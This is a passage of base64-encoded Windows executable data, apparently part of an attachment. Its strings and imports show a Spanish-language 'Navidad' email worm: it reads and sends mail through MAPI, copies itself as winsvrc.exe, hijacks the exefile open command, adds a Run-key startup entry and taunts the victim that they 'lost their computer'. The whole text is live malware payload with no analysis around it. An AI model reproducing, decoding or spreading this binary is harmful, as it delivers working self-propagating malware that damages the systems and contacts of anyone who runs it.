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 AV5WaHxUQABW/xWcUEAAhcB0BIvG6x2NReRQVmh4VEAAVlP/FVxQQACFwA+EzgAAAGoCWKPMaUAA g/gCdSSLRRw7w3UFobBpQAD/dRT/dRD/dQz/dQhQ/xVcUEAA6Z8AAACD+AEPhZQAAAA5XRh1CKHA aUAAiUUYU1P/dRD/dQyLRSD32BvAg+AIQFD/dRj/FWhQQACJReA7w3RjiV38jTwAi8eDwAMk/Oho AAAAiWXoi/SJddxXU1boiAAAAIPEDOsLagFYw4tl6DPbM/aDTfz/O/N0Kf914Fb/dRD/dQxqAf91 GP8VaFBAADvDdBD/dRRQVv91CP8VnFBAAOsCM8CNZcyLTfBkiQ0AAAAAX15bycPMzMxRPQAQAACN TCQIchSB6QAQAAAtABAAAIUBPQAQAABz7CvIi8SFAYvhiwiLQARQw8yLVCQMi0wkBIXSdEczwIpE JAhXi/mD+gRyLffZg+EDdAgr0YgHR0l1+ovIweAIA8GLyMHgEAPBi8qD4gPB6QJ0BvOrhdJ0BogH R0p1+otEJAhfw4tEJATD/yWEUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAADCWAAA0FgAAORYAAD0WAAABlkAAAAAAACIVgAAtFYAAMpWAADWVgAA mFYAAKhWAAAEVwAAEFcAABxXAAB2VgAAZlYAAFRWAADuVgAA4lYAAEhWAABsWQAAWlkAAExbAAA8 WwAALFsAABZbAAAKWwAAAFsAAPRaAADmWgAA1loAAMpaAAC+WgAAsloAAKRaAACWWgAAiFoAAHpa AABeWwAAflkAAD5aAAAmWgAAWFoAAPZZAADcWQAAEFoAAEZZAABqWgAAwFkAAJhZAACMWQAArFkA AAAAAAAmWQAAAAAAADhXAABGVwAAqlgAAFJXAABmVwAAmFgAAIZYAABsWAAAXlgAAExYAAA+WAAA LlgAACJYAAAWWAAABlgAAPRXAADkVwAA1lcAAMJXAAC0VwAAoFcAAJJXAAB6VwAAAAAAAP////91 HEAAiRxAAHJ1bnRpbWUgZXJyb3IgAAANCgAAVExPU1MgZXJyb3INCgAAAFNJTkcgZXJyb3INCgAA AABET01BSU4gZXJyb3INCgAAUjYwMjgNCi0gdW5hYmxlIHRvIGluaXRpYWxpemUgaGVhcA0KAAAA AFI2MDI3DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGxvd2lvIGluaXRpYWxpemF0aW9uDQoAAAAA UjYwMjYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3Igc3RkaW8gaW5pdGlhbGl6YXRpb24NCgAAAABS NjAyNQ0KLSBwdXJlIHZpcnR1YWwgZnVuY3Rpb24gY2FsbA0KAAAAUjYwMjQNCi0gbm90IGVub3Vn aCBzcGFjZSBmb3IgX29uZXhpdC9hdGV4aXQgdGFibGUNCgAAAABSNjAxOQ0KLSB1bmFibGUgdG8g b3BlbiBjb25zb2xlIGRldmljZQ0KAAAAAFI2MDE4DQotIHVuZXhwZWN0ZWQgaGVhcCBlcnJvcg0K AAAAAFI2MDE3DQotIHVuZXhwZWN0ZWQgbXVsdGl0aHJlYWQgbG9jayBlcnJvcg0KAAAAAFI2MDE2 DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHRocmVhZCBkYXRhDQoADQphYm5vcm1hbCBwcm9ncmFt IHRlcm1pbmF0aW9uDQoAAAAAUjYwMDkNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgZW52aXJvbm1l bnQNCgBSNjAwOA0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBhcmd1bWVudHMNCgAAAFI2MDAyDQot IGZsb2F0aW5nIHBvaW50IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBSdW50 aW1lIExpYnJhcnkAAAAACgoAAFJ1bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAAAAAuLi4APHByb2dy YW0gbmFtZSB1bmtub3duPgAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVz c2FnZUJveEEAdXNlcjMyLmRsbAAAAAAAAAAAAAD/////5UBAAOlAQAD/////mUFAAJ1BQAD///// HUNAACFDQAAgVQAAAAAAAAAAAAAqVwAAGFAAAOhVAAAAAAAAAAAAALZYAADgUAAACFUAAAAAAAAA AAAAGFkAAABQAADgVQAAAAAAAAAAAAA6WQAA2FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwlgAANBY AADkWAAA9FgAAAZZAAAAAAAAiFYAALRWAADKVgAA1lYAAJhWAACoVgAABFcAABBXAAAcVwAAdlYA AGZWAABUVgAA7lYAAOJWAABIVgAAbFkAAFpZAABMWwAAPFsAACxbAAAWWwAAClsAAABbAAD0WgAA 5loAANZaAADKWgAAvloAALJaAACkWgAAlloAAIhaAAB6WgAAXlsAAH5ZAAA+WgAAJloAAFhaAAD2 WQAA3FkAABBaAABGWQAAaloAAMBZAACYWQAAjFkAAKxZAAAAAAAAJlkAAAAAAAA4VwAARlcAAKpY AABSVwAAZlcAAJhYAACGWAAAbFgAAF5YAABMWAAAPlgAAC5YAAAiWAAAFlgAAAZYAAD0VwAA5FcA ANZXAADCVwAAtFcAAKBXAACSVwAAelcAAAAAAAApA2xzdHJjbXBBAABdAUdldFByb2ZpbGVJbnRB AACPAUdldFZlcnNpb25FeEEAUwFHZXRQcm9jQWRkcmVzcwAA3wFMb2FkTGlicmFyeUEAAI8CU2V0 RXJyb3JNb2RlAAAvA2xzdHJjcHlBAAA4AUdldE1vZHVsZUZpbGVOYW1lQQAANQNsc3RybGVuQQAA MgNsc3RyY3B5bkEAJgNsc3RyY2F0QQAAcAFHZXRTeXN0ZW1EaXJlY3RvcnlBACsAQ29weUZpbGVB ACwDbHN0cmNtcGlBAIwARXhpdFByb2Nlc3MAS0VSTkVMMzIuZGxsAACMAERlc3Ryb3lJY29uAJ4B TG9hZEljb25BAJUARGlzcGF0Y2hNZXNzYWdlQQAAggJUcmFuc2xhdGVNZXNzYWdlAAB/AlRyYW5z bGF0ZUFjY2VsZXJhdG9yQQAqAUdldE1lc3NhZ2VBAJYBTG9hZEFjY2VsZXJhdG9yc0EAqwFMb2Fk U3RyaW5nQQDzAVJlZ2lzdGVyQ2xhc3NFeEEAAJoBTG9hZEN1cnNvckEAkQJVcGRhdGVXaW5kb3cA AFkAQ3JlYXRlV2luZG93RXhBAI4ARGVzdHJveVdpbmRvdwC7AEVuZFBhaW50AACvAERyYXdUZXh0 QQDwAEdldENsaWVudFJlY3QADABCZWdpblBhaW50AACEAERlZldpbmRvd1Byb2NBAAC+AU1lc3Nh Z2VCb3hBAAACUmVnaXN0ZXJXaW5kb3dNZXNzYWdlQQAA4AFQb3N0UXVpdE1lc3NhZ2UAkwBEaWFs b2dCb3hQYXJhbUEAuQBFbmREaWFsb2cAVVNFUjMyLmRsbAAAWwFSZWdDbG9zZUtleQB7AVJlZ1F1 ZXJ5VmFsdWVFeEEAAHIBUmVnT3BlbktleUV4QQCGAVJlZ1NldFZhbHVlRXhBAABfAVJlZ0NyZWF0 ZUtleUV4QQBBRFZBUEkzMi5kbGwAAHkAU2hlbGxfTm90aWZ5SWNvbkEAU0hFTEwzMi5kbGwAOgFH ZXRNb2R1bGVIYW5kbGVBAABmAUdldFN0YXJ0dXBJbmZvQQDaAEdldENvbW1hbmRMaW5lQQCOAUdl dFZlcnNpb24AALQBSGVhcEFsbG9jAMsCVGVybWluYXRlUHJvY2VzcwAACQFHZXRDdXJyZW50UHJv Y2VzcwDbAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAwQBGcmVlRW52aXJvbm1lbnRTdHJpbmdz QQDCAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAEDV2lkZUNoYXJUb011bHRpQnl0ZQAZAUdldEVu dmlyb25tZW50U3RyaW5ncwAbAUdldEVudmlyb25tZW50U3RyaW5nc1cAAJgCU2V0SGFuZGxlQ291 bnQAAGgBR2V0U3RkSGFuZGxlAAAoAUdldEZpbGVUeXBlALgBSGVhcERlc3Ryb3kAtgFIZWFwQ3Jl YXRlAADxAlZpcnR1YWxGcmVlALoBSGVhcEZyZWUAAFcCUnRsVW53aW5kAA4DV3JpdGVGaWxlAO4C VmlydHVhbEFsbG9jAAC9AUhlYXBSZUFsbG9jAM8AR2V0Q1BJbmZvAMkAR2V0QUNQAABGAUdldE9F TUNQAAACAk11bHRpQnl0ZVRvV2lkZUNoYXIA3AFMQ01hcFN0cmluZ0EAAN0BTENNYXBTdHJpbmdX AABpAUdldFN0cmluZ1R5cGVBAABsAUdldFN0cmluZ1R5cGVXAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAFjZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA MQAAAFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzIE1lc3NhZ2luZyBTdWJzeXN0ZW0AAE1haWwA AAAATUFQSQAAAABNQVBJUmVzb2x2ZU5hbWUATUFQSURldGFpbHMATUFQSUFkZHJlc3MATUFQSUZy ZWVCdWZmZXIAAE1BUElEZWxldGVNYWlsAABNQVBJU2F2ZU1haWwAAAAATUFQSVJlYWRNYWlsAAAA AE1BUElGaW5kTmV4dAAAAABNQVBJU2VuZERvY3VtZW50cwAAAE1BUElTZW5kTWFpbAAAAABNQVBJ TG9nb2ZmAABNQVBJTG9nb24AAABNQVBJMzIuRExMAABOYXZpZGFkLmV4ZQBUZSBlc3RhbW9zIG1p cmFuZG8uLgAAAAAgIiUxIiAlKgAAAABcd2luc3ZyYy5leGUAAAAAZXhlZmlsZVxzaGVsbFxvcGVu XGNvbW1hbmQAAFdpbjMyQmFzZVNlcnZpY2VNT0QAU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3Nc Q3VycmVudFZlcnNpb25cUnVuAAAAXHdpbnN2cmMudnhkAAAAAExvIGVzdGFtb3MgbWlyYW5kby4u LgAAAFVJAABubwAARHVsY2U/AABTT0ZUV0FSRVxOYXZpZGFkAAAAAHRjbGljawAAVGFza2JhckNy ZWF0ZWQAAGJ1ZW5hIGVsZWNjaW9uLi4uAAAATGFtZW50YWJsZW1lbnRlIGNheW8gZW4gbGEgdGVu dGFjaW9uIHkgcGVyZGlvIHN1IGNvbXB1dGFkb3JhAAAAAEZlbGl6IE5hdmlkYWQAAACPHUAAAgAA AAAAAAAFAADACwAAAAAAAAAdAADABAAAAAAAAACWAADABAAAAAAAAACNAADACAAAAAAAAACOAADA CAAAAAAAAACPAADACAAAAAAAAACQAADACAAAAAAAAACRAADACAAAAAAAAACSAADACAAAAAAAAACT AADACAAAAAAAAAADAAAABwAAAAoAAACMAAAA/////wAKAAAQAAAAIAWTGQAAAAAAAAAAAAAAAAAA AAACAAAAsFNAAAgAAACEU0AACQAAAFhTQAAKAAAANFNAABAAAAAIU0AAEQAAANhSQAASAAAAtFJA ABMAAACIUkAAGAAAAFBSQAAZAAAAKFJAABoAAADwUUAAGwAAALhRQAAcAAAAkFFAAHgAAACAUUAA eQAAAHBRQAB6AAAAYFFAAPwAAABcUUAA/wAAAExRQAD4AwAAAAAAAAECBAgAAAAApAMAAGCCeYIh AAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAAAAAAAAAA AAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAA AAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAAAACB/gAA 